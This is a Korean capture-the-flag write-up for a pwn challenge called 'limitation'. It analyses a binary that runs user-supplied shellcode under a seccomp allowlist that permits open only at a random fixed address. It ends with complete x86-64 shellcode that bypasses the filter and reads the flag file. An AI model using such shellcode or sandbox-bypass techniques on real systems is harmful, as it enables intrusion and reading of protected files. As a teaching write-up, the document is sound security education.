[DH] limitation
Introduction
limitation 문제에 대한 writeup입니다.
Analysis
Arch: amd64
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
ida를 통해 분석하면
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
buf = mmap(0, 0x1000u, 7, 34, -1, 0);
read(0, buf, 0x1000u);
if ( (unsigned int)install_syscall_filter() )
return 1;
((void (*)(void))buf)();
return 0;
}
그리고 install_syscall_filter 함수를 보면 난해한 설정들이 보이는데 그것들을 통해서 BPF 필터라는 것을 알 수 있다. Seccomp-tools를 이용해서 필터를 확인하면 아래와 같은 결과를 얻을 수 있다.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x20 0x00 0x00 0x00000000 A = sys_number
0015: 0x15 0x00 0x03 0x00000002 if (A != open) goto 0019
0016: 0x20 0x00 0x00 0x00000010 A = filename # open(filename, flags, mode)
0017: 0x15 0x00 0x01 0x1aab2000 if (A != 0x1aab2000) goto 0019
0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0019: 0x06 0x00 0x00 0x00000000 return KILL
Allowlist 기반 BPF 필터로 구성되어 있으며 A == ARCH_X86_64
를 통해서 ABI를 활용한 bypass는 어려울 것을 생각할 수 있다.
A != 0x1aab2000
부분이 조금 특이한데, 이는 디컴파일에서 확인한
addr = get_rand_addr() & 0xFFFFF000;
mmap((void *)addr, 0x1000u, 7, 50, -1, 0);
부분과 관련이 있다. get_rand_addr()
함수는 정의를 살펴보면 랜덤한 주소를 반환하는 함수인데, 만약 파일 이름이 addr
에 저장된 경우에는 BPF 필터를 통과할 수 있다.
한편 mmap의 옵션도 살펴볼 필요가 있다.
mmap
그동안 mmap
에 대해 다룬 적이 없어서 이번 기회에 살펴보려고 한다.
void *mmap(void *addr, size_t len, int prot, int flags, int fd, __off_t offset)
mmap
의 프로토타입은 위와 같다.
addr
: 매핑할 시작 주소, 0이면 커널이 자동으로 할당len
: 매핑할 길이prot
: 메모리 보호 옵션, 읽기/쓰기/실행 등을 설정flags
: 매핑 옵션, 공유/개인 등fd
: 파일 디스크립터, 파일을 매핑할 때 사용, -1이면 익명 매핑(anonymous mapping)offset
: 파일에서 매핑을 시작할 오프셋
예를 들어 문제에서 사용된
buf = mmap(0, 0x1000u, 7, 34, -1, 0);
는 곧
addr
: 0 (커널이 자동으로 할당)len
: 0x1000 (4096 바이트)prot
: 7 (= 4+ 2 + 1 = + PROT_READ + PROT_WRITE + PROT_EXEC)flags
: 34 (= 32 + 2 = MAP_PRIVATE + MAP_ANONYMOUS)fd
: -1 (익명 매핑)offset
: 0 (파일에서 시작하지 않음)
를 의미한다.
한편 addr의 매핑에 사용된 옵션을 보면 조금 다른데,
mmap((void *)addr, 0x1000u, 7, 50, -1, 0);
즉, flags = 50 = 32 + 16 + 2 = MAP_SHARED + MAP_FIXED + MAP_ANONYMOUS
이다.
여기서 MAP_FIXED
는 지정한 주소에 매핑을 강제로 수행한다는 의미이다.
즉, addr
에 지정된 주소에 매핑을 시도한다.
그리고 MAP_ANONYMOUS
가 파일 없이 매핑을 할 때는 초기값이 0으로 설정된다.
Conclusion
따라서 shell code로 addr
에 저장된 주소에 open할 파일 이름을 저장하고 열면 BPF 필터를 통과할 수 있다.
어떻게 하면 addr
에 저장된 주소를 알 수 있을까?
gdb로 디버깅을 해보면
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x13c75000 0x13c76000 rwxp 1000 0 [anon_13c75]
위처럼 addr
에 해당하는 주소를 확인할 수 있고, buf를 call 한 후 기준 $rbp-0xe8
에 0x13c75000ffffd508
라는 값이 저장되어 있는 것을 확인할 수 있다.
따라서 shell code로 프로그램 하나 짠다고 생각하고 저 값을 이용해 addr
에 저장된 주소에 open할 파일 이름을 저장하고 열면 BPF 필터를 통과할 수 있다.
rax | syscall | rdi | rsi | rdx |
---|---|---|---|---|
0 | sys_read | unsigned int fd | char *buf | size_t count |
1 | sys_write | unsigned int fd | const char *buf | size_t count |
2 | sys_open | const char *filename | int flags | int mode |
위 내용을 참고해 아래의 shell code를 작성할 수 있다.
mov rdx, 0x000067616c662f2e
xor rax, rax
mov eax, dword ptr [rbp - 0xe4]
mov qword ptr [rax], rdx
mov rdi, rax
mov rsi, 0x0
mov rdx, 0x0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rbp
sub rsi, 0xe0
mov rdx, 0x100
mov rax, 0
syscall
mov rdi, 1
mov rsi, rbp
sub rsi, 0xe0
mov rdx, 0x100
mov rax, 1
syscall
Solution
쉘코드를 작성하였기 때문에 생략한다.